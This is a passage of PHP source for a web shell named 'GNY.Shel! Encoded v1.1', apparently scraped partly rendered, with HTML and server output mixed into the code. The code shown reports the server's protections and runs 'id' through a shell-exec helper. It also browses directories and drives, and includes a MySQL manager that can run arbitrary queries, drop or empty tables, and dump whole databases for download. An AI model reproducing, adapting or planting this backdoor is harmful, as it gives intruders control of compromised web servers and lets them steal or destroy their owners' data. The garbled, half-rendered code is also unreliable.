{$act = 'f'; $d = dirname($f); $f = basename($f);}} //Sending headers @ob_start(); @ob_implicit_flush(0); function onphpshutdown() { global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start("ob_gzHandler"); echo $v; @ob_end_flush(); } } function GNYexit() { onphpshutdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", FALSE); header("Pragma: no-cache"); if (empty($tmpdir)) { $tmpdir = ini_get("upload_tmp_dir"); if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} } $tmpdir = realpath($tmpdir); $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = TRUE; $hsafemode = "<font color=red>ON (secure)</font>"; } else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><u>PHP/".phpversion()."</u></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("highlight.bg",$highlight_bg); //FFFFFF @ini_set("highlight.comment",$highlight_comment); //#FF8000 @ini_set("highlight.default",$highlight_default); //#0000BB @ini_set("highlight.html",$highlight_html); //#000000 @ini_set("highlight.keyword",$highlight_keyword); //#007700 @ini_set("highlight.string",$highlight_string); //#DD0000 if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); // took the disabled functions from r57shellGNY.Shel! Encoded v1.1 edited B.Y $c0rPi0n<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title>GNY.Shel! Encoded v1.1 edited B.Y $c0rPi0n</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #0033FF; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #0033FF; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #0033FF; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0033FF; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #66DD11; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; TEXT-DECORATION: none;}A:hover { COLOR: #66DD11; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #0033FF; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #0033FF;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style><script language="Javascript"><!-- function GetKeyCode(evt) { var charCode = (evt.which) ? evt.which : event.keyCode // if not a digit or arrow key abort if ( charCode == 92) { alert(1); } }//--></script><BODY OnKeyPress="GetKeyCode();" text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>
<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2">
<font color="#0033FF"><pre> _____ _ ___ __ _____ _ _ _ / ____| \ | \ \ / // ____| | | | || | __| \| |\ \_/ /| (___ | |__ ___| | || | |_ | . ` | \ / \___ \| '_ \ / _ \ | || |__| | |\ | | | _ ____) | | | | __/ | | \_____|_| \_| |_|(_)_____/|_| |_|\___|_|_| {V1.1 edited by $c0rPi0n}</pre></font>
</th><table border=0 width=100%><td colspan=2>
echo $DISP_SERVER_SOFTWARE; Kernel: echo wordwrap(Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64,90,'
',1); if($win) echo ' ('.exec('ver').')';
<td align=right>Safe-Mode: echo $hsafemode; if (!$win) {echo wordwrap(myshellexec('id'),90,'
',1);} else {echo 'Running As: '.get_current_user();}
<td align=right>Disabled PHP Functions: if(''==($df=@ini_get('disable_functions'))){echo '<font color=green>NONE</font>';}else{echo '
<font color=red>'.str_replace(',', ', ', $df).'</font>
';} $curl_on = @function_exists('curl_version');echo "<br/>cURL: ".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); // ***$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (empty($d)) {$d = realpath('.');} elseif(realpath($d)) {$d = realpath($d);} $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $d = str_replace("\\\\","\\",$d); $dispd = htmlspecialchars($d); $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); $i = 0; // ***if (is_callable('disk_free_space')) { $free = disk_free_space($d); $total = disk_total_space($d); if ($free === FALSE) {$free = 0;} if ($total === FALSE) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2); echo 'Free '.view_size($free).' of '.view_size($total).' ('.$free_percent.'%)';}echo '<td align=right>Server IP: <a href=http://whois.domaintools.com/'.gethostbyname($_SERVER["HTTP_HOST"]).'>'.gethostbyname($_SERVER["HTTP_HOST"]).'</a> - Your IP: <a href=http://whois.domaintools.com/'.$_SERVER["REMOTE_ADDR"].'>'.$_SERVER["REMOTE_ADDR"].'</a>';
<p align="left"> // moved the dir stuff up above the disk free space so that it still gets the variables, even though it's being called before the echo current dir (put *** around it)foreach($pd as $b){ $t = ''; $j = 0; foreach ($e as $r) { $t.= $r.DIRECTORY_SEPARATOR; if ($j == $i) {break;} $j++; } echo '<a href="'.$surl.'act=ls&d='.urlencode($t).'&sort='.$sort.'">'.htmlspecialchars($b).DIRECTORY_SEPARATOR.'</a>'; $i++; }echo '&nbsp;&nbsp;&nbsp;';if (is_writable($d)) { $wd = TRUE; $wdt = "<font color=green>[ ok ]</font>"; echo "<font color=green>".view_perms(fileperms($d))."</font>"; } else { $wd = FALSE; $wdt = "<font color=red>[ Read-Only ]</font>"; echo ''.view_perms_color($d).''; }echo '
';$letters = ''; if ($win) { $v = explode("\\",$d); $v = $v[0]; foreach (range('a','z') as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= "<a href=\"".$surl."act=ls&d=".urlencode(strtoupper($letter).":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">["; if ($letter.":" != $v) {$letters .= strtoupper($letter);} else {$letters .= '<font color=green>'.strtoupper($letter).'</font>';} $letters .= ":]</a> "; } } if (!empty($letters)) {echo "Detected drives: ".$letters."
";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace("%d",urlencode($d),$item[1]); $item[1] = str_replace("%sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace("%upd",urlencode($v),$item[1]); echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; } } if (count($quicklaunch2) > 0) { echo '
'; foreach($quicklaunch2 as $item) { $item[1] = str_replace('%d',urlencode($d),$item[1]); $item[1] = str_replace('%sort',$sort,$item[1]); $v = realpath($d.'..'); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace('%upd',urlencode($v),$item[1]); echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; } } /*echo '
<input type=submit value=[Proxy]>
';echo '</p>
'; */if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><td width=\"100%\" valign=\"top\">".$donated_html."
";} echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><td width=\"100%\" valign=\"top\">"; if ($act == '') {$act = $dspact = 'ls';} if ($act == 'sql') { $sql_surl = $surl.'act=sql'; if ($sql_login) {$sql_surl .= '&sql_login='.htmlspecialchars($sql_login);} if ($sql_passwd) {$sql_surl .= '&sql_passwd='.htmlspecialchars($sql_passwd);} if ($sql_server) {$sql_surl .= '&sql_server='.htmlspecialchars($sql_server);} if ($sql_port) {$sql_surl .= '&sql_port='.htmlspecialchars($sql_port);} if ($sql_db) {$sql_surl .= '&sql_db='.htmlspecialchars($sql_db);} $sql_surl .= "&"; <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><td width="100%" height="1" colspan="2" valign="top">
if ($sql_server) { $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); $err = mysql_smarterror(); @mysql_select_db($sql_db,$sql_sock); if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} } else {$sql_sock = FALSE;} echo "
<br/>MySQL: ";$mysql_on = @function_exists('mysql_connect');if($mysql_on){echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }echo "<br/>MSSQL: ";$mssql_on = @function_exists('mssql_connect');if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} echo "<br/>PostgreSQL: ";$pg_on = @function_exists('pg_connect');if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} echo "<br/>Oracle: ";$ora_on = @function_exists('ocilogon');if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} &nbsp;</p> echo '
SQL Manager:
'; if (!$sql_sock) { if (!$sql_server) {echo 'NO CONNECTION';} else {echo "
Can't connect
"; echo "".$err."";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); $sqlquicklaunch[] = array("Logout",$surl."act=sql"); echo "
MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} echo '
'; } echo ''; if (!$sql_sock) {<td width=28% height=100 valign=top><li>If login is null, login is owner of process.<li>If host is null, host is localhost (default).<li>If port is null, port is 3306 (default).<td width=90% height=1 valign=top><TABLE height=1 cellSpacing=0 cellPadding=0 width=100% border=0>&nbsp;Please, fill the form:<input type=hidden name="act" value="sql"><td align=right><input type=text name="sql_server" value="localhost" maxlength=64>
UsernamePasswordDatabase
<input type=text name="sql_login" value="root" maxlength=64><input type=text name="sql_passwd" maxlength=64><input type=text name="sql_db" maxlength=64>
HostPort
<input type=text name="sql_port" value="3306" maxlength=6 size=3><input type=submit value="Connect">
} else { //Start left panel if (!empty($sql_db)) { <td width="25%" height="100%" valign="top"><a href=" echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ">Home</a><hr size="1" noshade> $result = mysql_list_tables($sql_db); if (!$result) {echo mysql_smarterror();} else { echo ".:[ <a href=\"".$sql_surl."&\">".htmlspecialchars($sql_db)."</a> ]:.
"; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a> (".$count_row[0].")
"; mysql_free_result($count); $c++;} if (!$c) {echo 'No tables found in database.';} } } else { <td width="1" height="100" valign="top"><a href=" echo $sql_surl; ">Home</a><hr size="1" noshade> $result = mysql_list_dbs($sql_sock); if (!$result) {echo mysql_smarterror();} else {
<select name="sql_db"> $c = 0; $dbs = ""; while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} echo "<option value=\"\">Databases (".$c.")</option>"; echo $dbs; } </select><hr size="1" noshade>Please, select database<hr size="1" noshade>
} //End left panel echo "<td width=\"100%\" height=\"1\" valign=\"top\">"; //Start center panel $diplay = TRUE; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "<hr size=\"1\" noshade>
There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
"; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} echo "
"; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ''; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { echo "<hr size=\"1\" noshade>"; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\">
"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "

<textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea>

<input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\">
";} } if (in_array($sql_act,$acts)) { <table border="0" width="100%" height="1"><td width="30%" height="1">Create new table:
&nbsp;
<td width="30%" height="1">Dump DB:
&nbsp;
<td width="30%" height="1"><td width="30%" height="1"><td width="30%" height="1"><td width="30%" height="1"> if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} if ($sql_act == "newtbl") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
"; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
Reason:
".mysql_smarterror();} } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = FALSE; echo "
<input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\">SQL-Dump:

"; echo "DB:&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\">

"; $v = join (";",$dmptbls); echo "Only tables (explode \";\")&nbsp;<sup>1</sup>:&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\">

"; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "File:&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\">

"; echo "Download: &nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked>

"; echo "Save to file: &nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; echo "

<input type=\"submit\" name=\"submit\" value=\"Dump\">

<sup>1</sup> - all, if empty"; echo "
"; } else { $diplay = TRUE; $set = array(); $set['sock'] = $sql_sock; $set['db'] = $sql_db; $dump_out = 'download'; $set['print'] = 0; $set['nl2br'] = 0; $set[''] = 0; $set['file'] = $dump_file; $set['add_drop'] = TRUE; $set['onlytabs'] = array(); if (!empty($dmptbls)) {$set['onlytabs'] = explode(';',$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "Dumped! Dump has been writen to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; } } else {echo "Dump: nothing to do!";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") {$asc_desc = "DESC";} else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "<hr size=\"1\" noshade>
Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
"; echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;Structure&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;Browse&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;Dump&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;Insert&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; if ($sql_tbl_act == "structure") {echo "

Coming sooon!";} if ($sql_tbl_act == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } else { echo '

Inserting row into table:
'; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("

".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "
<TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>FieldTypeFunctionValue"; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo "".htmlspecialchars($name)."".$field["Type"]."<select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50>"; $i++; } echo "
"; echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo ">Insert as new row"; if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked>Save"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} echo "

<input type=\"submit\" value=\"Confirm\">
"; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "<hr size=\"1\" noshade>"; echo "[Pages]&nbsp;"; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "
";} else {echo "&nbsp;";} } if ($i == 0) {echo "empty";} echo "
